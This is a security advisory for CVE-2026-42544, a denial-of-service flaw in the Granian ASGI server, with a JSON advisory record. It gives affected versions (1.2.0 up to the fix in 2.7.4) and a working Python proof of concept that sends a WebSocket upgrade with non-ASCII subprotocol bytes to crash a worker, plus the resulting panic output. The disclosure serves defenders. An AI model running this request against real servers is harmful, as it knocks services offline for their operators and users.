GHSA-VRG7-482J-P6F6

Vulnerability from github – Published: 2026-05-06 21:20 – Updated: 2026-05-13 16:41
VLAI
Summary
Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic
Details

Summary

Granian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose Sec-WebSocket-Protocol header contains non-ASCII bytes.

The crash happens in Granian's WebSocket scope construction path, before the ASGI application is invoked.

This is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.

Details

https://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125

HeaderValue::to_str() returns Err for bytes outside visible ASCII. The subsequent .unwrap() panics.

In release builds Granian sets panic = "abort", so this panic terminates the worker instead of being handled as a normal request error.

PoC

Step 1.

starts a Granian ASGI server

# app.py
async def app(scope, receive, send):
    if scope["type"] == "websocket":
        await receive()
        await send({"type": "websocket.accept"})
        return

    await send({"type": "http.response.start", "status": 200, "headers": []})
    await send({"type": "http.response.body", "body": b"ok"})
granian --interface asgi app:app --host 127.0.0.1 --port 8000

Step 2.

sending a raw upgrade request with Sec-WebSocket-Protocol: \x80\xff reached this code path and caused the worker to abort.

# ws-subproto-crash.py
import base64, os, socket, sys

host, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]
key = base64.b64encode(os.urandom(16)).decode()

req = (
    f"GET {path} HTTP/1.1\r\nHost: {host}:{port}\r\n"
    "Upgrade: websocket\r\nConnection: Upgrade\r\n"
    f"Sec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n"
).encode() + b"Sec-WebSocket-Protocol: \x80\xff\r\n\r\n"

with socket.create_connection((host, port), timeout=5) as s:
    s.sendall(req)
    print(s.recv(4096))
python ws-subproto-crash.py 127.0.0.1 8000 /

Observed server output:

thread '<unnamed>' panicked at src/asgi/utils.rs:125:44:
called `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }
[ERROR] Unexpected exit from worker-1
[INFO] Shutting down granian

Impact

  • Unauthenticated remote denial of service
  • One crafted request kills one worker
  • The application is never reached, so application-level authentication or routing does not mitigate the issue
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "granian"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.2.0"
            },
            {
              "fixed": "2.7.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-248",
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T21:20:48Z",
    "nvd_published_at": "2026-05-12T22:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nGranian aborts a worker process when an unauthenticated client sends a WebSocket upgrade request whose `Sec-WebSocket-Protocol` header contains non-ASCII bytes.\n\nThe crash happens in Granian\u0027s WebSocket scope construction path, before the ASGI application is invoked.\n\nThis is a single-request Denial Of Service against one worker. Repeating the request across workers takes the service offline.\n\n### Details\n\nhttps://github.com/emmett-framework/granian/blob/bdd5b0fbbb2aca6f2f4c0d2700c244d190958035/src/asgi/utils.rs#L122-L125\n\n`HeaderValue::to_str()` returns `Err` for bytes outside visible ASCII. The subsequent `.unwrap()` panics.\n\nIn release builds Granian sets `panic = \"abort\"`, so this panic terminates the worker instead of being handled as a normal request error.\n\n\n### PoC\n\n#### Step 1.\nstarts a Granian ASGI server\n\n```python\n# app.py\nasync def app(scope, receive, send):\n    if scope[\"type\"] == \"websocket\":\n        await receive()\n        await send({\"type\": \"websocket.accept\"})\n        return\n\n    await send({\"type\": \"http.response.start\", \"status\": 200, \"headers\": []})\n    await send({\"type\": \"http.response.body\", \"body\": b\"ok\"})\n```\n\n```bash\ngranian --interface asgi app:app --host 127.0.0.1 --port 8000\n```\n\n#### Step 2.\nsending a raw upgrade request with `Sec-WebSocket-Protocol: \\x80\\xff` reached this code path and caused the worker to abort.\n\n```python\n# ws-subproto-crash.py\nimport base64, os, socket, sys\n\nhost, port, path = sys.argv[1], int(sys.argv[2]), sys.argv[3]\nkey = base64.b64encode(os.urandom(16)).decode()\n\nreq = (\n    f\"GET {path} HTTP/1.1\\r\\nHost: {host}:{port}\\r\\n\"\n    \"Upgrade: websocket\\r\\nConnection: Upgrade\\r\\n\"\n    f\"Sec-WebSocket-Key: {key}\\r\\nSec-WebSocket-Version: 13\\r\\n\"\n).encode() + b\"Sec-WebSocket-Protocol: \\x80\\xff\\r\\n\\r\\n\"\n\nwith socket.create_connection((host, port), timeout=5) as s:\n    s.sendall(req)\n    print(s.recv(4096))\n```\n```bash\npython ws-subproto-crash.py 127.0.0.1 8000 /\n```\n\n\nObserved server output:\n\n```\nthread \u0027\u003cunnamed\u003e\u0027 panicked at src/asgi/utils.rs:125:44:\ncalled `Result::unwrap()` on an `Err` value: ToStrError { _priv: () }\n[ERROR] Unexpected exit from worker-1\n[INFO] Shutting down granian\n```\n\n\n### Impact\n\n- Unauthenticated remote denial of service\n- One crafted request kills one worker\n- The application is never reached, so application-level authentication or routing does not mitigate the issue",
  "id": "GHSA-vrg7-482j-p6f6",
  "modified": "2026-05-13T16:41:24Z",
  "published": "2026-05-06T21:20:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/emmett-framework/granian/security/advisories/GHSA-vrg7-482j-p6f6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42544"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/emmett-framework/granian"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Granian vulnerable to unauthenticated DoS via WebSocket subprotocol header panic"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…